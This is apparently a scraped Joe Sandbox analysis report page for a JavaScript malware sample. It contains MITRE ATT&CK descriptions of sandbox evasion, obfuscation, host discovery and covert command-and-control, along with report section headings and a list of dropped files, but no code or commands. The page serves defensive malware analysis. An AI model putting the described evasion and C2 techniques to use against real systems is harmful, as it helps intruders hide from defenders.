Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 27458284801797225280.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a01d9b82-b5f5-4642-b550-e8a2a79f5e49.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
27458284801797225280.js